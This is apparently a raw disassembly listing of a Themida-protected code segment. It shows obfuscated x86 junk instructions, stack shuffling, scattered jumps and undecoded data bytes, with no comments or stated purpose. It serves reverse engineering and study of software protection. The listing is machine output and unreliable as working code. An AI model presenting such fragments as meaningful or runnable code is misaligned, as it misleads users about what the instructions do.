loc_5634D0:				; CODE XREF: Themida_:0055483Cj
		sub	ebp, 0DC9F06F4h
		mov	edi, ebp
		pop	ebp
		sub	eax, 60A45BC8h
		sub	eax, edi
		jmp	loc_56359C
; ---------------------------------------------------------------------------
		db 0BFh, 0F8h, 13h
		dd 0CF812A75h, 0D46491Ch, 8108EFC1h, 0D47FF0E7h, 7E7C145h
		dd 5804C781h, 0FB89FDC4h, 18FE2D5Fh, 0F6E96E8Fh, 1FFFF40h
		dd 0BF575DEEh, 31CD1FDBh, 4703EFC1h, 6BF7814Fh,	29510EB4h
		dd 0F1295FF9h, 1790C181h, 8B5E5737h, 0C4832414h, 64F9E904h
		dd 0FD31FFFFh, 83243C8Bh, 0EA8904C4h, 0FEE35BE9h, 0F1015EFFh
		dd 0FF708CE9h, 81FB29FFh, 0E533D9EBh, 875D5F0Eh, 0A7E9241Ch
		dd 0ACFFFFBBh, 4CD1E953h, 0E957FFFFh, 0FFFFD775h, 83B9515Eh
		dd 1083118h, 942D59C8h,	294DEA7Bh, 7B9405F0h, 832D4DEAh
		dd 5083118h, 4E535029h,	0FF3279E9h, 0E9CE29FFh,	0FFFF773Bh
; ---------------------------------------------------------------------------


loc_56359C:				; CODE XREF: Themida_:005634E0j
		add	eax, 60A45BC8h
		mov	edi, [esp]
		add	esp, 4
		add	eax, 723A7B6Fh
		sub	eax, 4D9F0428h
		sub	eax, 24BC4858h
		push	4BEAh
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_561186
; ---------------------------------------------------------------------------
aLHat		db '‹$$hAt',0
		align 10h
		dd 0E9240489h, 0FFFF34CEh, 0C681E689h, 4, 4C681h, 34870000h
		dd 196CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5635EE:				; CODE XREF: Themida_:00566D82j
		neg	ecx
		sub	esp, 4
		jmp	loc_562C8A
; ---------------------------------------------------------------------------


loc_5635FB:				; CODE XREF: Themida_:005662BCj
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		push	ebx
		mov	ebx, 4
		add	edi, 1AFE4D61h
		sub	edi, ebx
		jmp	loc_565E56
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 5Ch
		dd 81127C00h, 0EA1833EFh, 0FEEF8143h, 5A6F433Ch, 0FFCE25E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563631:				; CODE XREF: Themida_:00564F28j
		mov	[esp], ebx
		jmp	loc_566CC3
; ---------------------------------------------------------------------------
		db 5Ch,	28h, 0F0h
		dd 53514404h, 49B1AEB3h, 0BAE9D928h, 53FFFF30h,	925D23BBh
		dd 16E4E954h, 1C8BFFFFh, 4C48124h, 81000000h, 4C4h, 24048F00h
		dd 6424248Bh, 0E9028966h, 0FFFF2C5Fh, 24048B66h, 1A7E68h
		dd 24048900h, 0D9368h, 24248900h, 4BD55h, 6C010000h, 585D0424h
		dd 3F685156h, 5932B652h, 5505E1C1h, 0FD60B2BDh,	5DE93154h
		dd 24048151h, 0A9A6495h, 5E2434FFh, 8104C483h, 9A6495EEh
		dd 0ED58E90Ah, 0EA81FFFEh, 66002D90h, 148BD501h, 4C48324h
		dd 0FFB446E9h, 84EA81FFh, 8110AF63h, 0CFA94F2h,	0E9D5013Eh
		dd 0FFFF7A0Fh
; ---------------------------------------------------------------------------


loc_5636E8:				; CODE XREF: Themida_:0055DED6j
		sub	bx, 90h
		mov	si, [esp]
		add	esp, 2
		sub	bx, ax
		push	dx
		mov	dx, 412h
		jmp	loc_5577CF
; ---------------------------------------------------------------------------


loc_563702:				; CODE XREF: Themida_:00551C0Aj
		or	edi, ecx
		pop	ecx
		shr	edi, 6
		jmp	loc_564752
; ---------------------------------------------------------------------------
		db 66h,	89h, 0F1h
		dd 0EC4DE95Eh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_563716:				; CODE XREF: Themida_:005658AAj
		add	esp, 4
		sub	eax, 0DC550A4h
		jmp	loc_55DB08
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 8904EC83h,	74FF242Ch, 0E95D0424h, 0FFFF8FF4h
; ---------------------------------------------------------------------------


loc_56373C:				; CODE XREF: Themida_:0055252Fj
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_553F6D
; ---------------------------------------------------------------------------


loc_56374A:				; CODE XREF: Themida_:00563E61j
		pop	ebp
		sub	[edi+24h], edx
		mov	edx, [esp]
		add	esp, 4


loc_563757:				; CODE XREF: Themida_:0056377Ej
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		jmp	loc_55CBAD
; ---------------------------------------------------------------------------
		dw 0F74Fh
		dd 0CA02E9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56376E:				; CODE XREF: Themida_:0055DDBFj
		push	small 73AEh
		mov	[esp], ax
		jmp	loc_5516EE
; ---------------------------------------------------------------------------


loc_56377B:				; CODE XREF: Themida_:00565F0Ej
		pop	ecx
		or	eax, eax
		jz	loc_563757
		push	ecx
		jmp	loc_558480
; ---------------------------------------------------------------------------


loc_56378A:				; CODE XREF: Themida_:0055E12Cj
		push	ecx
		inc	byte ptr [esp+1]
		mov	ecx, [esp]
		add	esp, 4
		xor	ch, 0E0h
		mov	al, ch
		pop	ecx
		push	eax
		mov	al, 0B4h
		jmp	loc_551A06
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4EB8100h, 87000000h, 248B241Ch, 24248924h, 4240483h
		dd 8B2434FFh, 8952240Ch, 4C281E2h, 81000000h, 4C2h, 74FF5200h
		dd 8F5A0424h, 535C2404h, 0FF99DAE9h, 48E954FFh,	28000025h
		dd 0A76FE9D0h, 83C3FFFFh, 348904ECh, 4EC8324h, 32DEE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5637FE:				; CODE XREF: Themida_:0055800Dj
		pop	edi
		jmp	loc_551B3D
; ---------------------------------------------------------------------------


loc_563804:				; CODE XREF: Themida_:00553178j
		push	15D0h
		mov	[esp], eax
		mov	eax, 6AE33018h
		and	eax, 280B7A0Dh
		inc	eax
		jmp	loc_55BE66
; ---------------------------------------------------------------------------


loc_56381C:				; CODE XREF: Themida_:00557137j
		sub	esi, 11F378FEh
		push	esi
		push	ebx
		mov	ebx, 33BF6F04h
		add	[esp+4], ebx
		pop	ebx
		pop	ecx
		sub	ecx, 33BF6F04h
		pop	esi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 37A619Bh
		push	ecx
		mov	ecx, 44330B46h
		inc	ecx
		add	ecx, 1DBE2360h
		dec	ecx
		sub	ecx, 18727412h
		add	ebx, ecx
		pop	ecx
		jmp	loc_5542EC
; ---------------------------------------------------------------------------
		dw 5140h
		dd 0F74AE2B9h, 59C83144h, 0FF7522E9h, 24248BFFh, 0E904C483h
		dd 0FFFFD1BEh, 8924248Bh, 8B542404h, 0C4832404h, 4B95104h
		dd 1000000h, 0F2E959C8h
		db 34h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563893:				; CODE XREF: Themida_:00562F95j
		push	ax
		mov	ah, 14h
		sub	ch, ah
		jmp	loc_55FE16
; ---------------------------------------------------------------------------


loc_56389E:				; CODE XREF: Themida_:00565312j
		mov	dl, 0AFh
		xor	dl, 86h
		sub	al, dl
		mov	edx, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_55196D
; ---------------------------------------------------------------------------
		dd 7B9CD81h, 0ED8127FEh, 0FFFFFFFFh, 0FFAE8DE9h, 34268FFh
		dd 0C890000h, 552EB924h, 0EB811416h, 407F6532h,	5352CB29h
		dd 6653E4BBh, 0A6F3817Eh, 8151D838h, 0A975F8F3h, 0B8C38163h
		dd 0E92B3F5Ah, 0FFFF47F4h
; ---------------------------------------------------------------------------


loc_5638F8:				; CODE XREF: Themida_:00553022j
		pop	esi
		xor	edx, 60CE20D1h
		add	ebp, edx
		pop	edx
		pop	ebx
		jmp	loc_553AA8
; ---------------------------------------------------------------------------
		dd 0FBE9535Bh, 0FFFFFFF6h, 48B2434h, 4C48324h, 8904EC83h
		dd 0E189240Ch, 25F268h,	0B3D0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56392A:				; CODE XREF: Themida_:00564110j
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_557CD7
; ---------------------------------------------------------------------------


loc_563939:				; CODE XREF: Themida_:005596B8j
		not	esi
		push	7E68h
		jmp	loc_566199
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 8Ah
		dd 50FFFFCDh, 0FFD02EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563951:				; CODE XREF: Themida_:005648E2j
		add	esp, 4
		add	esp, 4
		jmp	loc_557C3E
; ---------------------------------------------------------------------------
		db 81h
		dd 4F20B2F2h, 0C068E943h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56396A:				; CODE XREF: Themida_:00554A7Bj
		sub	eax, 2B7026DBh
		add	eax, esi
		add	eax, 2B7026DBh
		pop	esi
		jmp	loc_561876
; ---------------------------------------------------------------------------
		dd 8102E6C1h, 84F94EEh,	6BC68178h, 81C9B9FAh, 6428F2EAh
		dd 81F20160h, 6428F2C2h, 9E1FE960h, 0C381FFFFh,	4, 4C381h
		dd 0F3E90000h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5639AF:				; CODE XREF: Themida_:005522A1j
		sub	[esp], esi
		add	dword ptr [esp], 4B1D0AFEh
		mov	esi, [esp]
		add	esp, 4
		shr	esi, 3
		xor	esi, 4BAE187Ch
		jmp	loc_554A75
; ---------------------------------------------------------------------------


loc_5639D0:				; CODE XREF: Themida_:00552C55j
		mov	ebp, 59243B8Eh
		shl	ebp, 6
		sub	ebp, 9F2BCBDh
		add	esi, 56D74610h
		add	esi, 1985451Ah
		jmp	loc_557768
; ---------------------------------------------------------------------------


loc_5639EF:				; CODE XREF: Themida_:0055B8E7j
		mov	[esp], eax
		push	ebx
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55E47B
; ---------------------------------------------------------------------------


loc_563A16:				; CODE XREF: Themida_:0055F1D8j
		and	bl, 0B9h
		and	bl, 0F8h
		add	bl, 8Ah
		neg	bl
		add	bl, 6Bh
		mov	dl, bl
		pop	ebx
		shl	dl, 1
		shr	dl, 3
		inc	dl
		sub	dl, 85h
		jmp	loc_556213
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 4C2h, 74FF5200h, 148B0424h, 4C48124h, 8F000000h, 525C2404h
		dd 4BAh, 68EE8100h, 1001D7Fh, 21DFE9D6h, 96050000h, 0FF257532h
		dd 148B2434h, 4C48124h,	83000000h, 685304C4h, 713A5A76h
		dd 431535Bh, 24043324h,	0F7240431h, 240487D0h, 0FFCAA4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563A91:				; CODE XREF: Themida_:00557D82j
		mov	[esp], ebp
		push	eax
		mov	eax, 336C32C7h
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		add	eax, ebp
		jmp	loc_56213A
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 0A6E90000h, 5BFFFFDDh, 0FF4A62E9h, 0E9C301FFh
		dd 1994h
; ---------------------------------------------------------------------------


loc_563AC4:				; CODE XREF: Themida_:0055A35Bj
		push	edx
		mov	dl, 0FBh
		shl	dl, 5
		push	ecx
		mov	cl, 0B5h
		add	cl, 0FFh
		add	cl, 7
		add	dl, cl
		jmp	loc_562EB2
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835924h, 7FBB5304h, 8144492Eh, 9359BDF3h,	25E95000h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563AF3:				; CODE XREF: Themida_:0055CD5Ej
		push	eax
		jmp	loc_558A60
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 98h
		dd 68204CB0h, 6911h, 0E9242C89h, 226Fh,	1406F12Dh, 241C8B4Fh
		dd 8B04C483h, 0C4812414h, 4, 30D4C381h,	0D7E94627h, 87FFFF43h
		dd 3E1C1E9h, 752EC181h,	0B8502440h, 5B67A36h, 0FFA666E9h
		dd 126768FFh, 1C890000h, 0C5BB6624h, 0C3816630h, 43662156h
		dd 0FFD73FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563B59:				; CODE XREF: Themida_:005580B1j
		not	dword ptr [esp]
		pop	ebp
		xchg	ebp, [esp]
		pop	ecx
		jmp	loc_55E7E6
; ---------------------------------------------------------------------------
		dw 0E8C1h
		dd 0BBE95602h, 66FFFF7Fh, 4EC81ADh, 89000000h, 0B966240Ch
		dd 6DE94020h
		db 12h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563B83:				; CODE XREF: Themida_:0055DDB6j
		xchg	ebx, [esp]
		pop	esp
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_556AA0
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 24348B04h, 8F04C483h, 665C2404h, 9C240CD3h, 0FEDB45E9h
		dd 0DFE953FFh, 81FFFF67h, 257922EDh, 0E95B5E39h, 0FFFFB543h
		dd 0EEE9E989h, 50FFFFD1h, 0D761F7B8h, 58C72952h, 170DEF81h
		dd 0D78774CAh, 0D787D2F7h, 6AF8C781h, 0DE9B22Dh
		db 34h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563BE3:				; CODE XREF: Themida_:00566D58j
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 3C7A2206h
		jmp	loc_55EE99
; ---------------------------------------------------------------------------
		dd 48EF815Ah, 2972B64Fh, 0AF2FE9DFh, 815EFFFFh,	6C5814C6h
		dd 22BB5330h, 815D145Ch, 76F20FEBh, 5BDE290Ah, 0B357C681h
		dd 0C381B98Eh, 6F6E39D9h, 9E6C381h, 0F3013831h,	9E6EB81h
		dd 0EB813831h, 6F6E39D9h, 2C3815Eh, 0E9000000h,	0FFFF06D0h
		dd 4E8835Dh, 31240433h,	73E92404h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563C53:				; CODE XREF: Themida_:00557992j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_559187
; ---------------------------------------------------------------------------
		db 0BFh, 0ACh, 55h
		dd 0BE5646B5h, 46F51243h, 48E9F389h, 83000007h,	0A1E904C7h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563C83:				; CODE XREF: Themida_:0055B1D2j
		push	edx
		jmp	loc_56633F
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0FF1FD9E9h, 0C4F781FFh, 21388953h, 0E8C15FF8h, 31C83108h
		dd 73E0E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563CA6:				; CODE XREF: Themida_:00565243j
		push	dword ptr [esp]
		pop	edi
		jmp	loc_55F4E5
; ---------------------------------------------------------------------------


loc_563CAF:				; CODE XREF: Themida_:0055A99Bj
		push	ecx
		push	bx
		push	edx
		mov	dl, 0D8h
		jmp	loc_560F09
; ---------------------------------------------------------------------------


loc_563CBA:				; CODE XREF: Themida_:005625E4j
		pop	edi
		neg	edi
		sub	edi, 36767E7Ah
		dec	edi
		inc	edi
		sub	edi, 72753719h
		jmp	loc_561065
; ---------------------------------------------------------------------------


loc_563CD0:				; CODE XREF: Themida_:0055F7C2j
		mov	ebp, esp
		jmp	loc_551DC5
; ---------------------------------------------------------------------------
		db 66h
		dd 5762E181h, 0C3E98166h, 0EA2D66F3h, 2A1CE930h, 0BA520000h
		dd 4, 0FFB0F4E9h, 28792DFFh, 16E96A3Fh,	66FFFFD1h, 52240C8Bh
		dd 0C281E289h, 4, 0A98AE957h, 2C87FFFFh, 4315C24h, 0CFE99C24h
		dd 0B8FFFED9h, 4, 48BC101h, 4C48324h, 8704C183h, 248B240Ch
		dd 1C572124h, 0FF2434FFh, 815A2434h, 4C4h, 0D1685200h
		dd 0E9000055h, 0FFFFB510h, 0C015EE80h, 0C68007E6h, 5AF0284Ah
		dd 0CA04F028h, 0F652245Ah, 2235E9D0h, 0EEC1FFFFh, 0F9C68104h
		dd 910ADFDh, 0C1815EF1h, 8C05h,	3FBEC381h, 0CB016AB5h
		dd 3FBEEB81h, 0C8B6AB5h, 2C15E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563D92:				; CODE XREF: Themida_:00556AD7j
		mov	ch, 3Ch
		jmp	loc_56279B
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0FF235CE9h, 0E9CE31FFh, 0FFFF1422h, 7BE9F701h, 0B9FFFF38h
		dd 4B99604Eh, 4859C889h, 0FF3ADBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563DBD:				; CODE XREF: Themida_:0055409Ej
		mov	[esp], eax
		push	4
		push	dword ptr [esp]
		pop	eax
		jmp	loc_566D47
; ---------------------------------------------------------------------------
		dw 8166h
		dd 6611D3EEh, 6602E6C1h, 5B58C681h, 0FF49E9E9h,	4C281FFh
		dd 81000000h, 4EAh, 74FF5200h, 8F5A0424h, 895C2404h, 7ABD242Ch
		dd 57083D7Dh, 0D41653BFh, 3DF78148h, 0F710CB4Fh, 8ECF81D7h
		dd 0C101D722h, 0BD5505EFh, 31D9703h, 525DEF01h,	623897BAh
		dd 5AD52945h, 0C581FD29h, 45623897h, 4EC815Fh, 89000000h
		dd 9B82404h, 101B852h, 24048BC5h, 6804C483h, 3ABDh, 0E9240C89h
		dd 0FFFF4029h
; ---------------------------------------------------------------------------


loc_563E54:				; CODE XREF: Themida_:00556364j
		add	ebp, 4EC3A71Eh
		sub	esp, 4
		mov	[esp], ebp
		pop	edx
		jmp	loc_56374A
; ---------------------------------------------------------------------------


loc_563E66:				; CODE XREF: Themida_:0055DBB0j
		sub	ecx, 1
		sub	ecx, 0AB005010h
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		push	796Ch
		mov	[esp], ebp
		mov	ebp, 27DB0A21h
		shl	ebp, 5
		jmp	loc_556A0F
; ---------------------------------------------------------------------------


loc_563E9A:				; CODE XREF: Themida_:0055BE61j
		pop	ecx
		add	esp, 4
		xor	ecx, 9DDBCCC1h
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 0Eh
		jmp	loc_559381
; ---------------------------------------------------------------------------
		db 0BEh
		dd 477324F2h, 7622E946h, 0C181FFFFh, 0FAD0CAB0h, 0A9E9CE01h
		dd 0FFFFFFF4h, 589D1C77h, 9C240411h, 0FED811E9h, 2C895CFFh
		dd 0A927E924h, 0D15AFFFFh, 9464E9EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563EEE:				; CODE XREF: Themida_:0055C10Dj
		mov	[esp], edx
		jmp	loc_554426
; ---------------------------------------------------------------------------
		dw 6BBBh
		dd 0F75B216Ch, 2AF381D3h, 0E9742574h, 126h
; ---------------------------------------------------------------------------


loc_563F08:				; CODE XREF: Themida_:0055A835j
		mov	ah, 85h
		and	ch, ah
		pop	ax
		add	ch, 1
		push	4A89h
		mov	[esp], edx
		mov	dl, 58h
		and	dl, 0F4h
		dec	dl
		add	dl, 4Dh
		push	eax
		mov	ah, 17h
		jmp	loc_552B69
; ---------------------------------------------------------------------------


loc_563F2B:				; CODE XREF: Themida_:0055BCBCj
		pop	ebx
		jmp	loc_5642B4
; ---------------------------------------------------------------------------


loc_563F31:				; CODE XREF: Themida_:005580A9j
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		push	4
		pop	eax
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55935D
; ---------------------------------------------------------------------------
		db 0BEh, 9Fh, 1Dh
		dd 0F2293CBDh, 0FF7CC3E9h, 5DE989FFh, 3280C281h, 5E92F46h
		dd 89FFFFB0h, 38B9240Ch, 81000000h, 0B411CE9h, 0E9D10150h
		dd 0FFFF6CC1h, 8B24048Fh, 0C332424h, 240C3124h,	8B240C33h
		dd 8B662424h, 51532404h, 0FFC82FE9h, 35EE81FFh,	53615711h
		dd 297187BBh, 5BDE2976h, 0C681C601h, 76297187h,	1135C681h
		dd 0EE816157h, 710548B9h, 8124048Bh, 4C4h, 0BC28E900h
		dd 0C180FFFFh, 80C100DAh, 0C180DAE9h, 46BCE976h, 0F75FFFFFh
		dd 0A8C281DAh, 899ACE01h, 60E95AD7h
		db 0E3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_563FEF:				; CODE XREF: Themida_:00561D21j
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		shr	ebp, 4
		jmp	loc_561E1A
; ---------------------------------------------------------------------------
		dd 0B0E9D931h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564007:				; CODE XREF: Themida_:0055E2B9j
		add	ch, 0C4h
		add	ch, 0D8h
		inc	ch
		push	ebx
		push	ecx
		jmp	loc_55E11C
; ---------------------------------------------------------------------------
		dw 405h
		dd 83000000h, 48702C0h,	24248B24h, 148BD030h, 1B1FE924h
		dd 0DBF70000h, 0F381E3D1h, 33531588h, 2D5BD831h, 9227F209h
		dd 8958C231h, 24F6E9D0h, 315CFFFFh, 2434FFF8h, 5F5E685Fh
		dd 0EDE90000h, 0BFFFFFB0h, 3FC7E53h, 66F7E781h,	0EF817E1Ah
		dd 56AD0998h, 0EF81E7D1h, 4CE46E86h, 0F4E9FB31h, 0BAFFFF70h
		dd 39DE7A9Dh, 402ACA81h, 0EA81254Dh, 2CC0164Dh,	0FF6E33E9h
		dd 9BE955FFh, 0FFFFFFBCh, 0C8B2434h, 35685024h,	0E900004Ch
		dd 0FFFEE334h, 0FFEE835Bh, 3C8BC681h, 5CE93BBDh, 54FFFF2Eh
		dd 17DAE9h, 0EC835D00h,	24048904h, 89EA8952h, 0C5E95AD0h
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5640CF:				; CODE XREF: Themida_:00557716j
		mov	bl, 29h
		push	eax
		mov	al, bl
		jmp	loc_55573B
; ---------------------------------------------------------------------------


loc_5640D9:				; CODE XREF: Themida_:0056314Fj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_553970
; ---------------------------------------------------------------------------
		dd 0E932FF64h, 0FFFED5F6h
; ---------------------------------------------------------------------------


loc_5640F8:				; CODE XREF: Themida_:005600A4j
		add	esp, 4
		add	esi, edi
		jmp	loc_55C4DD
; ---------------------------------------------------------------------------


loc_564102:				; CODE XREF: Themida_:0055DA37j
		sub	esp, 4
		mov	[esp], edi
		push	4
		pop	edi
		sub	eax, edi
		jmp	loc_56392A
; ---------------------------------------------------------------------------


loc_564115:				; CODE XREF: Themida_:00551814j
		push	eax
		push	2B301C29h
		pop	eax
		add	eax, 1
		and	eax, 32721136h
		shr	eax, 1
		xor	eax, 11180835h
		jmp	loc_553DDB
; ---------------------------------------------------------------------------


loc_564132:				; CODE XREF: Themida_:00558A78j
		mov	[esp], eax
		jmp	loc_55C70E
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 0EC3AE900h, 3768FFFEh,	89000004h, 0F1B9240Ch
		dd 816AEC21h, 850EDCE9h, 0C4E1811Dh, 56441C5Eh,	855298BEh
		dd 5EF1215Ch, 8951D1F7h, 4C181E1h, 81000000h, 4E9h, 240C8700h
		dd 0FF90EEE9h, 0EA835EFFh, 24148704h, 2434895Ch, 5651E689h
		dd 4804B268h, 0F6815E5Bh, 217D4221h, 0F75EF189h, 565549D1h
		dd 255298BEh, 8326BD56h, 0F529D002h, 0C3BE565Eh, 8126BC2Ch
		dd 8A3ABEE6h, 0B7C7E93Ch, 0E389FFFFh, 0FFF7D5E9h, 238C0DFFh
		dd 0A60531A4h, 2991C7FDh, 0CF0158C7h, 7545C781h, 0EF810BC4h
		dd 790B5D61h, 81240C8Bh, 4C4h, 243C3300h, 0FEE77AE9h, 58F5B9FFh
		dd 0C801217Eh, 53D82959h, 18DE6851h, 82E92DDCh,	81000029h
		dd 4C4h, 8F6600h, 0FED4D5E9h, 240C89FFh, 0C6E95250h
		db 17h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564223:				; CODE XREF: Themida_:0055D413j
		add	ecx, ebp
		add	ecx, 0F013806h
		pop	ebp
		jmp	loc_552774
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 86h
		dd 0C70F9B34h, 1, 16E95900h, 81FFFFB2h,	880239EEh, 0E3E68163h
		dd 81611022h, 791B57F6h, 5EF70115h, 0FF8AA9E9h,	240489FFh
		dd 9E5A0FB8h, 0D6F79601h, 0FF7714E9h, 0E9F789FFh, 100Ah
		dd 0A1AAEB81h, 89561D23h, 4C681E6h, 0E9000000h,	0FFFF4129h
; ---------------------------------------------------------------------------


loc_564288:				; CODE XREF: Themida_:0055BF5Cj
		mov	edi, 13EC2D7Ah
		jmp	loc_564DBA
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 88A1E924h, 0C481FFFFh, 4, 48BC201h, 75136824h, 0C890000h
		dd 0E9E18924h, 0FFFF9D10h
; ---------------------------------------------------------------------------


loc_5642B4:				; CODE XREF: Themida_:00563F2Cj
		push	ecx
		push	esi
		mov	esi, 4
		mov	ecx, esi
		jmp	loc_5607C6
; ---------------------------------------------------------------------------
		dw 0E828h
		dd 240C8B66h, 2C483h, 2CF904F0h, 3DA2E990h, 33BFFFFFh
		dd 15DA673h, 4EE95FF9h,	0E9FFFFFFh, 0FFFED406h,	0DEE9C201h
		dd 0FFFFFEDBh, 50582434h, 405E089h, 2D000000h, 4
dword_564300	dd 0FFA916E9h, 12F381FFh, 9C7B48Dh, 241C8BDFh, 0C104C483h
					; DATA XREF: Themida_:0053CCE8o
		dd 0F78104E7h, 0DAC74564h, 515FF901h, 42474FFh,	81240C8Bh
		dd 4C4h, 0D633E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564332:				; CODE XREF: Themida_:00555E4Fj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55AD40
; ---------------------------------------------------------------------------
		dd 515DEE31h, 0B94C31B9h, 449CE933h, 0DFF6FFFFh, 30E9CFFEh
		dd 1FFFF7Ah, 24348BF2h,	4C481h,	18E90000h, 0F700000Bh
		dd 705E68DBh, 3C890000h, 481BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564376:				; CODE XREF: Themida_:00558145j
		pop	ebx
		sub	esi, 28294A70h
		add	esi, 76A17BF5h
		sub	esi, ebp
		sub	esi, 76A17BF5h
		push	eax
		mov	eax, 28294A70h
		add	esi, eax
		jmp	loc_554465
; ---------------------------------------------------------------------------


loc_564398:				; CODE XREF: Themida_:00557700j
		mov	[esp], eax
		jmp	loc_55F0C4
; ---------------------------------------------------------------------------


loc_5643A0:				; CODE XREF: Themida_:0055E8BCj
		sub	al, ch
		pop	ecx
		pop	ecx
		push	48CAh
		mov	[esp], edx
		jmp	loc_559A58
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 5BE9E089h, 83FFFFFCh, 32E904ECh, 5EFFFFC0h, 0FFE9FB31h
		dd 0BAFFFFAAh, 5A9866B8h, 0FFA5E0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5643D5:				; CODE XREF: Themida_:00559535j
		pop	dword ptr [esp]
		pop	esp
		push	eax
		jmp	loc_55E1E7
; ---------------------------------------------------------------------------
		db 80h
		dd 1FE9E7C5h, 5FFFFF72h, 81E28952h, 4C2h, 4EA8100h, 87000000h
		dd 895C2414h, 6468241Ch, 89000074h, 0E468243Ch,	8B535706h
		dd 0C483243Ch, 0BF575604h, 4AE334D7h, 0FF37ACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56441D:				; CODE XREF: Themida_:005669DEj
		sub	edx, 0C3B6B9B9h
		mov	esi, edx
		pop	edx
		jmp	loc_562372
; ---------------------------------------------------------------------------
		db 89h
		dd 3481243Ch, 1B701F24h, 0E1B3E927h, 8F58FFFEh,	0E95C2404h
		dd 0F4Fh, 0E924248Bh, 0FFFF420Fh, 4F08E7C1h, 8107E7C1h
		dd 0F06F26F7h, 5FFB2918h, 7DE9DF29h, 66FFFF73h,	0B1240C89h
		dd 0E9C8301Fh, 0FFFFC207h
; ---------------------------------------------------------------------------


loc_564470:				; CODE XREF: Themida_:005589D0j
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_56243F
; ---------------------------------------------------------------------------
		dw 0D1F7h
		dd 69AFE981h, 0CA0128B8h, 4C28159h, 87000000h, 555C2414h
		dd 0E904EC83h, 0FFFF9AA4h, 8324148Bh, 16E904C4h, 66FFFF0Dh
		dd 0E924048Bh, 0FFFFC4E1h, 1D3DEF81h, 0C181787Dh, 3B6B668Dh
		dd 0E981F901h, 3B6B668Dh, 8920E95Fh, 895CFFFFh,	4BB241Ch
		dd 1000000h, 9EE95BDEh,	89FFFF02h, 74FF240Ch, 8F590424h
		dd 248B2404h, 242C8924h, 2C16F5BDh, 19BE5618h, 816B816Ch
		dd 927505C5h, 81F5290Eh, 927505EDh, 85E95E0Eh
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564507:				; CODE XREF: Themida_:00564768j
		mov	ebx, [esp]
		add	esp, 4
		sub	[esp+4], edi
		pop	edi
		jmp	loc_55E2BE
